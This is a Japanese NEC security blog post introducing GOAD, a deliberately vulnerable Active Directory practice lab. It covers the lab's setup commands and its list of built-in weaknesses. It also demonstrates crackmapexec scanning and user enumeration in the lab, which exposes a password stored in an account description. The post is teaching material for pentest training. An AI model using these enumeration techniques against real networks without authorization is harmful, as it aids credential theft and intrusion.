Japan

関連リンク

関連リンク

関連リンク

関連リンク

サイト内の現在位置

Pentest Active Directory LAB project - GOADの紹介

NECセキュリティブログ

2023年4月21日

NECサイバーセキュリティ戦略統括部 セキュリティ技術センターの岩川です。今回のブログでは、Active Directoryの一般的な攻撃技術を学べるGOAD(Game Of Active Directory) new window[1]を紹介します。GOADを使ってActive Directory環境構築を行い、開発者により公開されたWriteUp new window[2]の手順に従って構築した環境上で一部の脆弱性を確認していきます。

GOAD(Game Of Active Directory)とは

GOAD new window[1]のREADMEでは、「GOAD はペンテストActive Directoryラボプロジェクトです。このラボの目的は、ペンテスターが脆弱な Active Directory 環境上で一般的な攻撃手法を練習できるようにすることです。」と説明されています。
環境は5台のマシンで構成されており以下のような構成(図1)となっています。

READMEにはROAD MAPが記載されています。以下の項目にチェックが付いており各項目に関連する脆弱性が埋め込まれています。(2023/4/4時点)

  • Password reuse between computer (PTH)
  • Spray User = Password
  • Password in description
  • SMB share anonymous
  • SMB not signed
  • Responder
  • Zerologon
  • Windows defender
  • ASREPRoast
  • Kerberoasting
  • AD Acl abuse
  • Unconstraint delegation
  • Ntlm relay
  • Constrained delegation
  • Install MSSQL
  • MSSQL trusted link
  • MSSQL impersonate
  • Install IIS
  • Upload asp app
  • Multiples forest
  • Anonymous RPC user listing
  • Child parent domain
  • Generate certificate and enable ldaps
  • ADCS - ESC 1/2/3/8
  • Certifry
  • Samaccountname/nopac
  • Petitpotam unauthent
  • Printerbug
  • Drop the mic
  • Shadow credentials
  • Mitm6
  • Add LAPS
  • GPO abuse
  • Add Webdav
  • Add RDP bot

環境構築手順

環境の構築はGithub new window[1]と開発者のGithub Pages new window[2]を参考しました。
「ラボは Linux ホストからインストールすることを意図しておりLinuxホストのみでテストした。」と記載がありますので、今回はUbuntu 22.04.1 LTSホスト上に環境を構築しました。また、「必要な容量は約115GB(スナップショットを作成するならさらに必要)」と記載がありますため余裕を持って200GB以上の空き容量を用意しました。

構築手順は以下となります。

1. 必要なツールをインストール
仮想マシンはVirtualBox new window[3]またはVMware Workstation Pro new window[4]のどちらでも構築できますが、今回はVirtualBoxを使用します。VMware Workstation Proを使用する場合は別途手順が追加となるのでGithub new window[1]をご参照ください。

ツールのインストールのために以下のコマンドを実行します。

# apt update
# apt install -y virtualbox-guest-utils virtualbox-guest-x11 git virtualbox python3-pip
# pip3 install --upgrade pip
# pip3 install ansible-core==2.12.6
# pip3 install pywinrm

# wget -O- https://apt.releases.hashicorp.com/gpg | gpg --dearmor | tee /usr/share/keyrings/hashicorp-archive-keyring.gpg
# echo "deb [signed-by=/usr/share/keyrings/hashicorp-archive-keyring.gpg] https://apt.releases.hashicorp.com $(lsb_release -cs) main" | tee /etc/apt/sources.list.d/hashicorp.list
# apt update && apt install vagrant
# vagrant plugin install winrm
# vagrant plugin install winrm-elevated

# git clone https://github.com/Orange-Cyberdefense/GOAD /opt/goad
# cd /opt/goad/ansible
# ansible-galaxy install -r requirements.yml

2. 仮想マシンの作成
以下のコマンドでvagrant new window[5]を使用して仮想マシンを作成します。

# cd /opt/goad
# vagrant up

コマンド実行後にvirtualboxを起動すると以下のように仮想マシン5台が作成されていることが確認できます。(図2)

図2. 作成された仮想マシン一覧

以降の手順で仮想マシンの設定を行っていくのですが、失敗した場合に復元できるようにvagrantを使ってスナップショットを作成しておくことをお勧めします。
スナップショットは以下のコマンドで作成できます。「init」という名前のスナップショットとなります。

# cd /opt/goad
# vagrant snapshot save init

3. 仮想マシンの設定
仮想マシンが作成されたら次に仮想マシンの設定を行います。
仮想マシンの設定はansible new window[6]を使って行います。以下のコマンドを実行します。

# cd /opt/goad/ansible
# ansible-playbook main.yml

筆者が試したときは、failが発生したため手順2.で作成したスナップショットにリストアをして再度コマンドを実行したらfailは発生せず構築できました。リストアは以下のコマンドで実行できます。

# cd /opt/goad
# vagrant snapshot restore init

4. 仮想マシンの再起動
設定後に、以下のコマンドを実行して仮想マシンを再起動します。

# cd /opt/goad
# vagrant halt
# vagrant up

公式ページで再起動を指示する記載は見つけられませんでしたが、再起動をしないと以降で紹介する脆弱性の確認がうまくいきませんでした。

脆弱性の検証

前節で環境が構築できたので、まず環境が動作しているかを確認します。
ホストマシンにcrackmapexec new window[7]をインストールして仮想マシンが配置されたサブネットに対してスキャンを行います。5台のマシンから応答があり動作していることが確認できます。

$ pip3 install crackmapexec
$ export PATH=$PATH:${HOME}/.local/bin
$ crackmapexec smb 192.168.56.1/24
SMB         192.168.56.23   445    BRAAVOS          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True)
SMB         192.168.56.22   445    CASTELBLACK      [*] Windows 10.0 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False)
SMB         192.168.56.11   445    WINTERFELL       [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB         192.168.56.10   445    KINGSLANDING     [*] Windows 10.0 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB         192.168.56.12   445    MEEREEN          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True)

次に開発者のWriteUp new window[2]を参考にクレデンシャル情報の取得を試みます。
WriteUpはpart1 ~ part12まであります(2023/4/4 時点)。今回は「GOAD – part3 – enumeration with user」の冒頭部分の手順を試してみます。
crackmapexecを使用してユーザを列挙します。以下のコマンドで列挙します。

$ crackmapexec smb 192.168.56.11 --users
SMB         192.168.56.11   445    WINTERFELL       [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB         192.168.56.11   445    WINTERFELL       [-] Error enumerating domain users using dc ip 192.168.56.11: NTLM needs domain\username and a password
SMB         192.168.56.11   445    WINTERFELL       [*] Trying with SAMRPC protocol
SMB         192.168.56.11   445    WINTERFELL       [+] Enumerated domain user(s)
SMB         192.168.56.11   445    WINTERFELL       north.sevenkingdoms.local\Guest                          Built-in account for guest access to the computer/domain
SMB         192.168.56.11   445    WINTERFELL       north.sevenkingdoms.local\arya.stark                     Arya Stark
SMB         192.168.56.11   445    WINTERFELL       north.sevenkingdoms.local\sansa.stark                    Sansa Stark
SMB         192.168.56.11   445    WINTERFELL       north.sevenkingdoms.local\brandon.stark                  Brandon Stark
SMB         192.168.56.11   445    WINTERFELL       north.sevenkingdoms.local\rickon.stark                   Rickon Stark
SMB         192.168.56.11   445    WINTERFELL       north.sevenkingdoms.local\hodor                          Brainless Giant
SMB         192.168.56.11   445    WINTERFELL       north.sevenkingdoms.local\jon.snow                       Jon Snow
SMB         192.168.56.11   445    WINTERFELL       north.sevenkingdoms.local\samwell.tarly                  Samwell Tarly (Password : Heartsbane)
SMB         192.168.56.11   445    WINTERFELL       north.sevenkingdoms.local\jeor.mormont                   Jeor Mormont
SMB         192.168.56.11   445    WINTERFELL       north.sevenkingdoms.local\sql_svc                        sql service

複数のユーザが列挙されており一番右の列には各ユーザのDescriptionが表示されています。ユーザsamwell.tarlyのDescriptionに着目すると「Samwell Tarly (Password : Heartsbane)」と表示されておりパスワードが取得できます。これはROAD MAPに記載されていた「Password in description」に該当する脆弱性となります。Descriptionには機微情報を記載しないことが推奨されます。

さいごに

GOAD(Game Of Active Directory) での環境構築方法と環境の脆弱性の一部を紹介しました。今回は簡単な脆弱性を紹介しましたがWriteUpには複雑な攻撃手順を要する脆弱性もありますので、さらに高度なActive Directoryの攻撃手法を学ぶこともできます。

参考

執筆者プロフィール

岩川 健人(いわかわ けんと)
セキュリティ技術センター リスクハンティング・アナリシスグループ

高性能計算(HPC)分野のソフトウェア開発業務を経て、現在はペネトレーションテスト、脆弱性診断などに従事。
SANS SEC575 メダル保持。
CISSP/情報処理安全確保支援士(RISS) /情報処理技術者試験(NW,DB,ES)/GIAC(GREM,GMOB)/AWS認定(SAA,SCS)を保持。

執筆者の他の記事を読む

Escキーで閉じる 閉じる